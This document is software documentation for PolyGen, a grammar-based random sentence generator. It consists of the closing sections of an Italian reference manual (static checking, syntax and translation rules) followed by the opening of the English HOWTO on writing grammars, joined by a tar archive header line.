Per ovviare alla scomodità di dover specificare etichette locali ed attivarle in loco, il linguaggio fornisce un sistema di generazione posizionale automatica. Con tale caratteristica (operativamente equivalente all'utilizzo di etichette e selezione, ma più concisa) è possibile esprimere in maniera molto sintetica gruppi di desinenze, declinazioni, coniugazioni, ecc. La parola chiave , separa gli atomi che rappresentano le possibili scelte:

ESEMPIO

S ::= sei un,una bel,bella ragazz ^ o,a ;


Il risultato è identico a quello dell'esempio più verboso; la differenza consiste nel fatto che non c'è menzione ad alcuna etichetta: come dalle regole di traduzione in sezione 4.1.5, ogni produzione che presenta gruppi di atomi separati da , viene tradotta in una sottoproduzione che consiste in tante produzioni separate da  | quanti sono gli atomi nel gruppo e dove ognuna di tali produzioni presenta l'i-esimo atomo di ogni gruppo, per ogni i. L'esempio di cui sopra viene tradotto in:

S ::= sei un bel ragazz ^ o | sei una bella ragazz ^ a ;


L'unico limite di questa caratteristica è ovviamente che tutti i gruppi di una produzione raccolgano lo stesso numero di atomi. Si badi inoltre che lo scope di tale vincolo è un singola produzione.

E' importante capire che la generazione posizionale non sostituisce il sistema di label, ma offre un'alternativa sintetica ad esso nei frequenti casi in cui verrebbe utilizzato per declinare termini. Non è difficile immaginare comunque come tale meccanismo possa tornare utile in altri contesti; ad esempio, a livello macroscopico, per specificare relazioni tra porzioni di una frase:

ESEMPIO

S ::= non potro',(ho potuto) mai,_ venire da te ;

PRODUCE

non potro' mai venire da te
non ho potuto venire da te



2.0.13 Iterazione

Sebbene grazie ai costrutti di scoping (vedi 2.0.11) sia possibile iterare una produzione in maniera molto semplice e concisa, un apposito costrutto di iterazione analogo alla chiusura di Kleene di EBNF può risultare talvolta assai comodo:

ESEMPIO

S ::= una ragazza m^ (o^)+ lto carina ;

PRODUCE

una ragazza molto carina
una ragazza moolto carina
una ragazza mooolto carina
...


Com'è ragionevola aspettarsi, qualunque produzione può essere presente all'interno della sottoproduzione iterata:

ESEMPIO

S ::= (a | b)+ ;

PRODUCE

a
b
a a
a b
b a
b b
a a a
a a b
a b a
...


Si potrebbe ritenere ragionevole che venisse iterata sempre la stessa generazione, ma non è così (come dalle regole di traduzione 4.1.5), poiché nella maggior parte dei frangenti il comportamento di cui sopra è preveribile ed inoltre semanticamente affine all'analogo costrutto EBNF. E' possibile tuttavia ottenere l'effetto ipotizzato in maniera piuttosto semplice sfruttando il binding forte (vedi sezione 2.0.10.2):

ESEMPIO

S ::= (X := a | b; (X)+) ;

PRODUCE

a
b
a a
b b
a a a  ...
b b b ...





2.1 Tecniche avanzate

2.1.1 Ricorsione

E' possibile specificare in una produzione il simbolo che si sta definendo per ottenere una generazione ricorsiva:

ESEMPIO

S ::= Cifra [^ S] ;

Cifra ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ;


PRODUCE

0
23
853211
000000
00011122335

ecc.


ovvero un numero composto da un numero casuale di cifre da 0 a 9.
Si provi per esercizio a definire una grammatica che generi frasi di lunghezza variabile agganciando subordinate ricorsivamente.



2.1.2 Raggruppamento

Per avere un controllo della distribuzione delle probabilità superiore a quello offerto dalle caratteristiche descritte nelle sezioni 2.0.3 e 2.0.4 è possibile utilizzare opportunamente le parentesi tonde:

ESEMPIO

S1 ::= gatto | cane | cammello ;

S2 ::= gatto | (cane | cammello) ;


PRODUCE

gatto
cane
cammello


Nella definizione di S1 la distribuzione delle probabilità è:

gatto 1/3
cane 1/3
cammello 1/3


Nel caso di S2 invece:

gatto 1/2
cane 1/2 * 1/2 = 1/4
cammello 1/2 * 1/2 = 1/4




2.1.3 Controllo della probabiltà di una sottoproduzione opzionale

Il linguaggio di definizione delle grammatiche riconosciuto dal Polygen non permette il diretto controllo della probabilità con cui una sottoproduzione opzionale viene generata. In altre parole, non esiste un operatore analogo al + o al - per le sottoproduzioni tra parentesi quadrate.
Esiste tuttavia una tecnica assai semplice per ottenere questo risultato:

ESEMPIO

S ::= la (+ _ | bella) casa ;


PRODUCE

la casa
la bella casa


Poiché una sottoproduzione opzionale è di fatto equivalente ad una sottoproduzione non opzionale che genera l'output desiderato oppure nulla (vedi la sezione 2.0.2), è possibile operare manualmente tale traduzione ed utilizzare la + o la - a piacere.
Nell'esempio di cui sopra la probabilità che non venga prodotto nulla è maggiore di quella per cui venga prodotta bella.




3.0 Controllo statico di una grammatica

Il Polygen dispone di un potente algoritmo di controllo statico di un file sorgente: è pertanto in grado di verificare in un tempo finito la correttezza di un'intera grammatica senza dover generare ogni produzione possibile ed indipendentemente dalla complessità delle definizioni.
Una grammatica che passa con successo la fase di controllo è garantita generare sempre un output valido - come una sorta di prova di soundness.
Poiché quindi la fase di controllo precede sempre quella di generazione, se il programma produce un output senza messaggi d'errore, allora la grammatica è interamente corretta.

Laddove specificato dal messaggio generato dal programma, warning ed errori si riferiscono ad un'area del file di testo sorgente compresa tra due coppie di coordinate che esprimono un numero di linea ed un numero di colonna.


3.0.1 Errori

Sono classificati come errori quei casi che infrangono la definizione di correttezza di una grammatica.
Un errore arresta l'esecuzione del programma.


3.0.1.1 Inesistenza di simboli non terminali

Viene controllata l'esistenza di ciascun simbolo non terminale che appare nella parte destra di una definizione, al fine di evitare che erroneamente vengano utilizzati nelle produzioni simboli non terminali che non sono stati definiti.

ESEMPIO

S ::= A | B ;
A ::= a ;

Questa grammatica dà luogo ad un errore, in quanto B non è definito.


3.0.1.2 Ricorsioni cicliche e non-terminazione

L'algoritmo di controllo è in grado di verificare che ciascun simbolo non terminale sia in grado di produrre un output, ovvero che la generazione prima o poi termini senza dare luogo a ricorsioni infinite.

ESEMPIO

S ::= S | A ;
A ::= B ;
B ::= S | A;



Questa grammatica non potrebbe produrre alcun output, poiché la generazione, indipendentemente da quale simbolo non terminale abbia inizio, incorrerebbe in un ciclo ricorsivo infinito.
Altri casi, più subdoli, possono dare luogo a sottocicli - una sorta di circuiti:

S ::= a | A ;
A ::= B ;
B ::= A ;


Sebbene in tale frangente la generazione non dà necessariamente luogo ad una ricorsione ciclica grazie alla presenza del simbolo terminale a, è altresì possibile che venga imboccato un percorso che non terminerà mai: è perciò importante che anche simili casi siano segnalati da un messaggio di errore.



3.0.1.3 Unfolding ricorsivi

Non è lecito prefiggere l'operatore > di unfolding (vedi la  sezione 2.0.4.1) ad un simbolo non terminale che produrrebbe una ricorsione ciclica.

ESEMPIO

S ::= >A ;
A ::= >B ;
B ::= >S ;



Tale grammatica darebbe luogo ad una serie di unfolding che la espanderebbero all'infinito e, pertanto, genera un messaggio d'errore.


3.0.1.4 Epsilon-produzioni

E' possibile che una grammatica soddisfi la clausola di terminazione grazie ad una epsilon-produzione, ovvero che l'unico output possibile sia epsilon (si veda la sezione 2.0.2).
In tali casi si è in presenza di una grammatica considerata scorretta:

ESEMPIO

S ::= A ;

A ::= 
A ^ | _ ;


PRODUCE

_


Anche una selezione distruttiva (vedi 3.0.2.1.3) in taluni frangenti può dare luogo ad una epsilon-produzione.


3.0.1.5 Ridefinizione di simboli non terminali

Viene verificato che uno stesso simbolo non terminale non venga accidentalmente definito più volte nello scope.

ESEMPIO

A ::= mela | pera | capra ;

A
::= mandarino | anguria ;


La cosa vale anche all'interno di scope innestati (vedi sezione 2.0.11):


ESEMPIO

::= (A ::= mela | pera | capra ; A ::= mandarino | anguria ; il A;


3.0.1.6 Carattere illegale

Propriamente si tratta di un errore generato dal lexer nel caso in cui, in fase di analisi sintattica del file sorgente, si imbatta in un carattere che non appartiene ad alcun token riconosciuto - ovvero non definito dalle regole lessicali di cui in sezione 4.1.3.


3.0.1.7 Token inaspettato

Si tratta propriamente di un errore generato dal parser nel caso in cui, in fase di analisi sintattica del file sorgente, si imbatta in un token sì valido ma che non dovrebbe trovarsi in tale posizione - ad indicare pertanto un'infrazione delle regole sintattiche di cui in sezione 4.1.1.



3.0.2 Warning

Sono classificati come warning quei casi che non infrangono la definizione di correttezza di una grammatica, ma che possono portare ad effetti inaspettati o indesiderati. La presenza di messaggi di warning dunque non indica che la grammatica sia scorretta, ma che è poco robusta; tant'è che un warning non arresta l'esecuzione del programma.

I warning sono suddivisi in livelli dipendentemente dalla gravità: più basso è il livello, più gravi sono i warning raggruppati in esso; al livello 0 appartengono quei warning che non possono essere ignorati (pur continuando a non rappresentare un pericolo per la generazione).

3.0.2.0 Livello 0

Per ora non esistono warning appatenenti a questo gruppo.

3.0.2.1 Livello 1

3.0.2.1.1 Inesistenza del simbolo I

La mancata definizione del simbolo non terminale I non permette l'utilizzo dell'opzione -info del programma.
Tale simbolo tipicamente specifica una stringa informativa sulla grammatica (autore, titolo, ecc.) e, sebbene non sia di per sè un errore ometterlo, è buona norma aderire a tale convenzione definendolo opportunamente.

3.0.2.1.2 Potenziali epsilon-produzioni

Esistono casi in cui una grammatica non genera in ogni caso epsilon (si veda la sezione 3.0.1.4), ma solo potenzialmente.

ESEMPIO

S ::= [a] ;


PRODUCE

a
_


Anche alcuni situazioni di selezione distruttiva (vedi 3.0.2.1.3) portano a potenziali epsilon-produzioni.

3.0.2.1.3 Selezione distruttiva

Non è infrequente, nei casi di utilizzo massiccio della selezione (vedi 2.0.5.1), perdere il controllo della propagazione delle etichette e scordarsi di attivarle o attivare quelle sbagliate. In tali situazioni il risultato è la distruzione delle produzioni che dipendono dall'attivazione di tali etichette, con conseguenti epsilon-produzioni.
I casi fortunati in cui tale distruzione riguarda un'intera produzione vengono regolarmente segnalati da un warning 3.0.2.1.2 o un errore 3.0.1.4, ma nel caso in cui le produzioni distrutte siano all'interno di una sequenza non ci sarebbe modo, tramite solamente l'algoritmo di controllo delle epsilon-produzioni, di rilevare il problema, poiché di fatto non si è in presenza di epsilon-produzioni:

ESEMPIO

S ::= a A.z ;

A ::= x: x | y: y ;

PRODUCE

a


Il tali casi viene generato in warning apposito che notifica l'utente del problema. Si badi che la correzione di tutti i warning di questo tipo irrobustiscono di molto una grammatica e talvolta possono aiutare persino a rilevare utilizzi concettualmente scorretti delle etichette.



3.0.2.2 Livello 2

3.0.2.2.1 Permutazione inutile

Nel caso in cui in una sequenza appaia una sola sottoproduzione permutabile (si veda la sezione 2.0.7), non avviene di fatto alcuna permutazione per ovvi motivi.

ESEMPIO

S ::= a {b} c ;


Sebbene una simile situazione non sia propriamente un errore, viene generato un messaggio di warning di bassa gravità.


3.0.2.2.2 Unfolding inutile

I casi in cui l'operatore di unfolding sia utilizzato in contesti - pur non scorretti - che non darebbero di fatto luogo ad alcun unfolding vengono segnalati da un warning di bassa gravità.

ESEMPIO

S ::= >(b c) ;


L'unfolding di una sottoproduzione costituita da una singola produzione è un caso di unfolding inutile.



3.0.2.3 Livello 3

3.0.2.3.1 Unfolding di un simbolo legato ad un'assegnazione

L'unfolding di un simbolo legato da un binding forte (vedi sezione 2.0.10.2) è sintatticamente legale e semanticamente corretto; tuttavia potrebbe suscitare qualche perplessità concettuale. Il risultato è in qualche modo simile al concetto di ereditarietà: facendo sì che il preprocessore replichi le produzioni legate al simbolo in questione e le inserisca, appiattendole (vedi sezione 2.0.4.1), all'interno di un'altra produzione è equivalente a ereditare le produzioni di tale simbolo per fare in modo che possano generare qualcosa di diverso.

ESEMPIO

S ::= >A A A ;

A :=
a | b ;

PRODUCE

a a a
b a a
a b b
b b b


Tale trucco rappresenta però in qualche modo un abuso dell'unfolding e viene pertanto segnalato da un warning a bassissima gravità.





4.0 Appendice


4.1.1 Sintassi concreta

Segue la sintassi concreta in notazione EBNF del linguaggio (di tipo 2) di definizione di grammatiche interpretato dal Polygen e descritto in questo documento.
I simboli non terminali associati a produzioni sono interamente maiuscoli; i simboli non terminali associati ad espressioni regolari cominciano per lettera minuscola  (si veda la sezione 4.1.3); i simboli terminali sono tra virgolette; S è il simbolo non terminale iniziale.


S      ::= DECLS

DECL   ::= Nonterm "::=" PRODS
        |  Nonterm ":=" PRODS

DECLS  ::= (DECL ";")+

PRODS  ::= PROD ("|" PROD)+

PROD   ::= ("+" | "-")* SEQ

LABELS ::= LABEL ("|" LABEL)*

LABEL  ::=
("+" | "-")* Label

SEQ    ::= [Label ":"]
(ATOMS)+

ATOMS  ::=
ATOM ("," ATOM)*

ATOM   ::= Term
        |  "^"
        |  "_"
        |  "\"
        |  UNFOLDABLE
        |  ">" UNFOLDABLE
        |  "<" UNFOLDABLE
        |  ATOM "."
        |  ATOM DotLabel
        |  ATOM ".(" LABELS ")"


UNFOLDABLE ::= Nonterm
       
|      "(" SUB ")" ["+"]
        |      "[" SUB "]"
        |      "{" SUB "}"
        |      ">>" SUB "<<"

SUB ::=
[DECLS] PRODS



4.1.2 Sintassi astratta

Per completezza riportiamo di seguito la sintassi astratta del linguaggio interpretato dal Polygen libero dagli zuccheri sintattici e dai termini che interessano solamente la fase di preprocessing (si consulti la sezione 4.1.5 per le regole di traduzione).


S      ::= DECLS

DECL   ::= Nonterm "::=" PRODS
        |  Nonterm ":=" PRODS

DECLS  ::= (DECL ";")+

PRODS  ::= SEQ
("|" SEQ)*

SEQ    ::= [Label ":"] (ATOM)+

ATOM   ::= Nonterm
        |  Term
        |  "^"
        |  "_"
        |  "(" SUB ")"
        |  ATOM "."
        |  ATOM DotLabel

SUB ::= [DECLS] PRODS



4.1.3 Regole lessicali

Seguono le regole lessicali in notazione di espressioni regolari di tipo 3.

Term     ::= [a-z 0-9 '][a-z A-Z 0-9 ']*
          |  " [A-Z a-z 0-9 ( ) _ - ? . , ! : \ & # + * / % $ � [ ] { } ~ @ ; : | < > = ^ ' \ "]* "

Nonterm  ::= [A-Z][A-Z a-z 0-9]*

Label    ::= [A-Z a-z 0-9]+

DotLabel ::= . Label


Si badi che anche il carattere di spazio può essere specificato tra virgolette come simbolo terminale.



4.1.4 Sequenze escape

L'espressione regolare Term di cui in sezione 4.1.3 riconosce tra virgolette il  backslash \ , che funge da carattere escape. E' possibile che un simbolo terminale tra virgolette contenga sequenze escape tra le seguenti:


\\ backslash
\" virgolette
\n new line
\r carriage return
\b backspace
\t tab
\xyz codice ASCII decimale xyz




4.1.5 Regole di traduzione

Come riferimento formale riportiamo le regole di traduzione da sintassi concreta a sintassi astratta in ordine di precedenza (dove ovvero la traduzione i-esima ha luogo prima della i+1-esima). Esse rappresentano quanto operato dal parser nel caso di zuccheri sintattici o dal preprocessore altrimenti.


sintassi concreta
sintassi astratta
L: A11,...,An1 ... A1n,...,Anm L: (A11...A1m | ... | An1...Amn)
A.(+(a1)-(b1)l1|...|+(an)-(bn)ln)
(X ::= A; X.l1 |(1) ... |(w1) X.l1 | ... | X.ln |(1) ... |(wn) X.ln)

dove wi = ai - bi - min {a1-b1 ... an-bn}
+(a1)-(b1) P1 | ... |+(an)-(bn) Pn
P1 |(1) ... |(w1) P1 | ... | Pn |(1) ... |(wn) Pn

dove wi = ai - bi - min {a1-b1 ... an-bn}
[D; P]
(_ | (D; P))
(D; P)+ (X ::= (D; P)(_ | X); X)
>> D; P <<
(D; P')

dove
P'= f(A) per ogni atomo A in P
con f(
A) = A      se A non appartiene all'insieme degli atormi unfoldable
       f(
<U) = U        se U appartiene all'insieme degli atomi unfoldable
       f(
U) = >f(U)    se U appartiene all'insieme degli atomi unfoldable
P1 | ... | A1 {D1; Q1}.l1 ... An {Dn; Qn}.ln | ... | Pn
P1 | ... | (A1 (D1; Q11).l1 ... An (D1; Q1n).ln
   
| ... | A1 (Dn; Qn!n).l1 ... An (Dn; Qn!n).ln) | ... | Pn

dove Qji è l'i-esimo elemento della j-esima
permutazione di
 
Q1..Qn(con i = 1..n, j = 1..n!)
P1 | ... | L: A >(D; Q1 | ... | Qm).l| ... | Pn
(D; P1 | ... | L: A (Q1).l| ... | L: A (Qm).l| ... | Pn)
P1 | ... | L: A >X.l| ... | Pn

dove X ::=
D; Q1 | ... | Qm
(D; P1 | ... | L: A (Q1).l| ... | L: A (Qm).l| ... | Pn)


In cui valgono le seguenti convenzioni notazionali:


P, Q produzioni o serie di produzioni
A, B atomi o (sotto)sequenze di atomi
D
dichirazione o serie di dichiarazioni
L, l etichette
X, Y
simboli non terminali
+(n)-(m) giustapposizione di n operatori + e m operatori -
P |(1) ... |(n) P ripetizione di n produzioni P






























polygen-1.0.6.ds2/eng/0000755000175000017500000000000010340430663013752 5ustar enricoenricopolygen-1.0.6.ds2/eng/HOWTO-Refman.html0000644000175000017500000034334510340417034016757 0ustar enricoenrico HOWTO-grm

HOWTO-grm

id est

How to write a PolyGen grammar


Index

1.0 What is a grammar?

     1.0.1 Subproductions
     1.0.2 Optional subproductions
     1.0.3 Comments


2.0 Advanced features
     
     2.0.1 Concatenation
     2.0.2 Epsilon
     2.0.3 Controlling the probability of a production
     2.0.4 Unfolding

               2.0.4.1 Non-terminal symbols
            2.0.4.2 Subproductions
            2.0.4.3 Optional subproductions
               2.0.4.4 Permutable subproductions
            2.0.4.5 Deeply unfolded subproductions

     2.0.5
Attributes
     
            2.0.5.1
Labels and selection
             2.0.5.2 Multiple selection

      2.0.6 Capitalization
      2.0.7 Permutation
     2.0.8 Deep unfolding
     2.0.9 Folding


2.1 Advanced techniques

     2.1.1 Recursion
     2.1.2 Grouping
     2.1.3 Controlling the probabilty of an optional subproduction
     2.1.4 Selection reset


3.0 Static checking of grammars

     3.0.1 Errors

            3.0.1.1 Undefined non-terminal simbols
            3.0.1.2 Cyclic recursion and non-termination
            3.0.1.3 Recursive unfolding
            3.0.1.4 Epsilon-productions
            3.0.1.5 Overriding of non-terminal symbols
            3.0.1.6 Illegal character
            3.0.1.7 Unexpected token

     3.0.2 Warnings

               3.0.2.0 Level 0
           
               3.0.2.1 Level 1

                     3.0.2.1.1 Undefined symbol I
                     3.0.2.1.2 Potential epsilon-productions

               3.0.2.2 Level 2
           
                     3.0.2.2.1
 Useless permutation
                     3.0.2.2.2 Potential cyclic recursion


4.0 Appendix

     4.1.1 Concrete syntax
     4.1.2 Abstract syntax
     4.1.3 Lexical rules
     4.1.4 Escape sequences
      4.1.5 Translation rules




1.0 What is a grammar?

A grammar is an ASCII text file providing the definition of the syntactical structure and terms used by the program to build sentences. PolyGen is able to interpret a language designed for defining type-2 grammars (according to Chomsky classification) consisting in an extension of the BNF (Backus Naur Form) - a very simple and common form for the description of the syntax of a language.

A definition consists in specifying for a given symbol a set of productions interleaved by a pipe | and followed by a semicolon ; , which acts as terminator:

EXAMPLE

S ::= the apple | an orange ;


PRODUCES

the apple
an orange



Such definition of symbol S (said non-terminal) allows the generation of symbols the apple as well as an orange (said terminal).
The probability for the output the apple to be generated is equal to 1 every 3 times; and the same for an orange: thus, when 2 productions occur, we have 1 in 2 chances each; when 5 occur, we have 1 in 5, etc.

You're allowed to define several non-terminal symbols and reference them from any productions, in order to let more complex sentences be generated:

EXAMPLE

S ::= the Animal is eating a Animal ;

Animale ::= cat | dog ;



PRODUCES

the cat is eating a cat
the cat is eating a dog
the dog is eating a cat
the dog is eating a dog


ecc.


Note: PolyGen uses by default the non-terminal symbol S as the starting one: every grammar must therefore define it at least unless another starting symbol has been specified as argument to the program.

By default, a term beginning with a capital letter is considered as non-terminal (thus bound to a definition) and a term beginning with a non-capital letter as terminal (a simple word). If you need then to specify a capital word you must quote it in order to get the program not to mistake it for a non-terminal symbol:

EXAMPLE

S ::= a Pet called "Pet" ;

Pet ::= cat | pig | dog ;



PRODUCES

a cat called Pet
a pig called Pet
a dog called Pet



Keep in mind that many characters (punctuation marks, parentheses, etc), including those interpret as keywords by the program, must be quoted to be output (see section 4.1.3 for complete lexical rules).

EXAMPLE

S ::= "(" (apple | orange) ")" ;


PRODUCES

( apple )
( orange )




1.0.1 Subproductions

After the keyword ::= in a definition, a subproduction of any form can be specified between round brackets:

EXAMPLE

S ::= an (apple | orange) is on the (table | desk) ;


PRODUCES

an apple is on the table
an orange is on the table
an apple is on the desk
an orange is on the desk


Subproductions are generated as standalone blocks, that is as they were bound to a non-terminal symbol.

1.0.2 Optional subproductions

A subproduction specified between square brakets is considered as optional and is generated 1 every 2 times, i.e. 50% probability:

EXAMPLE

S ::= an (apple | orange) is on the (table | desk) [in the (living | dining) room] ;


PRODUCES

an apple is on the table
an apple is on the table in the living room
an apple is on the table in the dining room
an orange is on the table
an orange is on the table in the living room


ecc.


Optional subproductions, apart from being generated once every two times, behave as normal subproductions.


1.0.3 Comments

You can write any kind of text within a pair of (* and *) keywords. Such text will be completely ignored by PolyGen.

EXAMPLE

S ::= apple | rainge (* | banana *) | mango ;
(* this is comment too *)


PRODUCES

apple
orange
mango




2.0 Advanced features

PolyGen provides a set of keywords that raises the language expressivity beyond BNF.


2.0.1 Concatenation

The cap ^ can be either prefixed or suffixed to as well as infixed in any point within a production in order to make the program not insert a white space character in the output string:

EXAMPLE

S ::= "(" ^ (apple | orange) ^ ")" ;


PRODUCES

(apple)
(orange)


Concatenation, as a feature, is particularly useful every time you wish to generate words by assembling syllabes or letters coming from different productions:

EXAMPLE

S ::= "I" Verb ^ e Verb ^ ing ;

Verb ::= lov | hat ;


PRODUCES

I love hating
I love loving
I hate hating
I hate loving



Keep in mind that specifying many caps is perfectly equal to specifying one only.



2.0.2 Epsilon

The underscore keyword _ stands for the empty production, formally called epsilon.

EXAMPLE

S ::= ball | _ ;


PRODUCES

ball
_


Notice that an epsilon-production is neither the underscore character itself nor the white space, rather it stands for no output at all - the empty string, if you prefer. The former example is perfectly equivalent to the following:

EXAMPLE

S ::= [palla] ;


PRODUCES

palla
_


That is a grammar generating either a or nothing as output.



2.0.3 Controlling the probability of a production

The plus keyword + , when prefixed to a (sub)production (however nested), raises the probability for it to be generated, in respect to the others of that very series; simmetrically, the minus keyword - lowers it down. Any number of + and - keywords may be specified:

EXAMPLE

S ::= the cat is eating (+ an apple |- an orange | some meat |-- a lemon) ;


PRODUCES

the cat is eating an apple
the cat is eating an orange
the cat is eating some meat
the cat is eating a lemon




The set of sentences that can be produced is as expected; indeed, the definition for the non-terminal symbol S is internally interpretet as follows:

S ::= the cat is eating ( an apple | an apple | an apple | an apple
                        | an orange | an orange
                        | some meat | some meat | some meat
                        | a lemon) ;


as requested, proportion of probabilty raising and lowering holds: the probability for an apple to be generated is higher than an orange, which is higher that some meat, on its turn higher than a lemon.




2.0.4 Unfolding

PolyGen provides a powerful unfolding system which, in general, allows to take a series of productions (otherwise folded either by a subproduction or a non-terminal symbol) to the level of the current sequence.
Roughly, you may look at this operation as at the flattening of a portion of grammar that is performed before the generation and that may thus affect it just as far as the probability are concerned, since the transformation does not alter the source grammar semantics - as the traslation rules in section 4.1.5 confirm.

Not every atom though supports unfolding, rather only those which such operation makes sense for: refer to section 4.1.1 for a syntactical formalization of such subset.

2.0.4.1 Non-terminal symbols

Consider the following scenario:

EXAMPLE

S ::= ugly cat | nice Animal ;

Animal ::= dog | bull | pig ;


PRODUCES

ugly cat
nice dog
nice bull
nice pig


Produced output deserves no surprises, still the chance for ugly cat to be generated is 1 every 2 times, but it is not the same for nice dog, nice bull and nice pig, even though a user may find it reasonable for all them to be generated with the same probability.
The problem is due to productions ugly cat and nice Animal equally sharing the unit of prabability of S: thus the chances for ugly cat to be generated is equal to the chances for nice Animal, i.e. one among nice dog, nice bull and nice pig. In the example above the probability distribution appears as follows:

ugly cat
1/2
nice dog
1/2 * 1/3 = 1/6
nice bull
1/2 * 1/3 = 1/6
nice pig
1/2 * 1/3 = 1/6


As a proof, 1/2 + 1/6 + 1/6 + 1/6 = 1.

In order to equally redistribute prababilities of subproductions, the user should write S this way:

S ::= ugly cat | nice dog | nice bull | nice pig ;

though loosing the original architecture, which used to fold all animals within a non-terminal symbol, and moreover dramatically increasing the amount of editing duties.
In order to solve this problem, itself an instance of the dishomogeneity of probability distribution problem in case of subproductions, the language offers an operator for unfolding non-terminal symbols:

EXAMPLE

S ::= ugly cat | nice >Animal ;

Animal ::= dog | bull | pig ;



Prefixing the > keyword to a non-terminal symbol, during the preprocessing phase the program performs the translation above, changing the probability distribution as follows:

ugly cat
1/4
nice dog
1/4
nice bull
1/4
nice pig
1/4



2.0.4.2 Subproductions

It is not uncommon to use subproductions in order to decrease grammar verbosity, e.g. by collecting a set of phrasal verbs according to the supported preposition.

EXAMPLE

S ::= (walk | pass) through
   
|  look at
   
|  (go | come | move | link | run) to ;


Grammar architecture and scalability increase, on one side, while, on the other side, output quality lowers down, since 1 every 3 times look at will be generated for the same reason discussed in section 2.0.4.1. In order to take output etherogeneity to the desired level, that is where each single verb may be produced with the same probability, the user should avoid round bracket usage at all, so that there would be no more 3 macro-productions, and should suffix the proper preposition to each verb.
For this very purpose, any subproduction may be unfolded analogously to what stated in section 2.0.4.1 regarding non-terminal symbols. The operator > makes the program delegate to the preprocessor the unfolding of the following subproduction, allowing the user to keep the original source architecture unchanged.

EXAMPLE

S ::= >(walk | pass) through
   
|  look at
   
|  >(go | come | move | link | run) to ;


is translated into:

S ::= walk through | pass through
   
|  look at
   
|  go to | come to | move to | link to | run to ;


that is what one would expect: a flat series of productions.

A more complex example could be:

Digit ::= z: 0 | nz: >(1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ;

is translated into:

Digit ::= z: 0 | nz: 1 | nz: 2 | nz: 3 | nz: 4 | nz: 5 | nz: 6
       
nz: 7 | nz: 8 | nz: 9 ;


2.0.4.3 Optional subproductions

A subproduction in square brackets (see section 1.0.2) is equal to a subproduction in round brackets that produces either the original content or epsilon (see the example in section 2.1.3).
Thus, unfolding an optional subproduction is perfectly legal and the result is analogous to what said in section 2.0.4.2.


2.0.4.4 Permutable subproductions

As the translation rules in section 4.1.5 reveal, the unfolding is performed by the preprocessor after all the permutations (see section 2.0.7) occured: a permutable subproduction bound to a > operator is therefore first permutated, while the unfolding holds and is then performed at the new position within the sequence.

EXAMPLE

S ::= >{the >(dog | cat)} and {a (fish | bull)} ;


Pay attention to how the two unfoldings, the former inside the curly brackets and the latter outside, behave: the translation is as follows:

S ::= the dog and a (fish | bull)
   |  the cat and a (fish | bull)
   |  (fish | bull) and the dog
   
|  (fish | bull) and the cat ;


2.0.4.5 Deeply unfolded subproductions

As stated in section 2.0.8, deep unfolding leads to a subproduction where everything has been flattened within.
Though, one may sometimes wish to perform a further unfolding: of that very subproduction.

EXAMPLE

S ::=  > >> the (dog | cat) | a (fish | bull) << | an alligator ;


that is translated into:

S ::= the dog | the cat | a fish | a bull | an alligator ;




2.0.5 Attributes

2.0.5.1 Labels and selection

Any (sub)production, however nested, can be bound to a label and it is eventually possible to limit generation to a subset of a series of productions by using the dot operator.

EXAMPLE

S ::= Verb.inf | Verb.ing ;

Verb ::= (inf: to) (eat | drink | jump) (ing: ^ing) ;


PRODUCES

to eat
to drink
to jump
eating
drinking
jumping


Selection simply deletes all (sub)productions bound to a label other than the one selected. More precisely, a selection propagates the label specified on the right hand of the dot operator for the whole generation of what stands on the left of it; during the generation will be considered as valid both those (sub)productions that are bound to no label and those bound to a label that has been selected.
Notice therefore that you're allowed to use selection many times in order to enrich the list of selected labels: such a technique may be useful for propagating some attributes that are wanted to affect generation.

EXAMPLE

S ::= (Conjug.S | Conjug.P).sp | (Conjug.S | Conjug.P).pp ;

Conjug ::= (Pronoun Verb).1 | 
(Pronoun Verb).2 | (Pronoun Verb).3 ;

Pronoun ::= S: (1: "I" | 2: you | 3: (he | she | it))
         |  P: 
(1: we | 2: you | 3: they) ;

Verb ::= (pp: Be) (eat | drink) (sp:
(S: (3: ^s)) | pp: ^ing) ;

Be ::= S: (1: am | 2: are | 3: is) | P: are ;



PRODUCES

I eat
you eat
he eats
she eats
it eats
we eat
they eat
I am eating
you are eating
he is eating
we are eating


etc.


In the example above, assuming labels 1,2,3,S and P respectively identify syntactical forms for the first, second and third persons, singular and plural, we managed to correctly conjugate both simple present and present progressive tenses according to a pronoun.
Notice that whenever you decide to extend the set of verbs, you'll just need to add more radixes in the proper subproduction of Verb.


2.0.5.2 Multiple selection

Reconsider the example in seciton 2.0.5.1: the definition of the non-terminal S simply activates all combos of label pairs S,P and sp,pp for the production of Conjug. In order to avoid such frequent uncomfortable solutions you're allowed to specifiy, on the right of the dot operator, a set of labels in round brackets interleaved by the pipe keyword.
Modifying the example above:

EXAMPLE

S ::= Conjug.(S|P).(sp|pp) ;


Analogously to what stated in section 2.0.3 for grammar productions, it is possible to specify probablity modifiers for labels too, by means of the + and - keywords.

EXAMPLE

S ::= Ogg.(+S|--P).(sp|-pp) ;


That is internally treated as:

S ::= (Conjug.S | Conjug.S | Conjug.S | Conjug.S | Conjug.P).sp
   |  (Conjug.S | Conjug.S | Conjug.S | Conjug.S | Conjug.P).sp
   |  (Conjug.S | Conjug.S | Conjug.S | Conjug.S | Conjug.P).pp ;



2.0.6 Capitalization

It is often needed, mainly for style purposes, to respect capitalization rules, for instance after a point mark.
Nevertheless, a complex grammar architecture, providing recursive productions generating subclauses, may make such operation impossible, unless the user rewrites part of the source.
In order to solve this problem, the language provides the backslash keyword \, which makes the program perform the capitalization of the very following terminal symbol, i.e. switching its first letter to uppercase.

EXAMPLE

S ::= \ smith (is | "." \) Eulogy ^ "." ;

Eulogy
::= rather a smart man
        
|  really a gentleman ;

PRODUCE

Smith is rather a smart man.
Smith. Rather a smart man.
Smith is really a gentleman.
Smith. Really a gentleman.


Keep in mind that capitalization is active until the following terminal symbol resulting from the generation, therefore every other atom (epsilon, concatenation or the capitalization operator itself) found in the middle simply acts as usual.

EXAMPLE

S ::= a \ ^ \ _ b

PRODUCES


aB



2.0.7 Permutation

Many spoken languages allow to change the order of some words (or groups of words) in a sentence holding the original meaning; analogously, at a macroscopic level, it sometimes makes sense to exchange the sentences of a phrase.
In order to avoid the user to rewrite the same sequence over and over exchanging atom positions, specifying some subprodutions within curly brackets { and }, the program automatically performs all the permutations among them.

EXAMPLE

S ::= whether {is} {therefore} {he} ;

PRODUCES


whether is therefore he
whether is he therefore
whether therefore is he
whether therefore he is
whether he therefore is
whether he is therefore


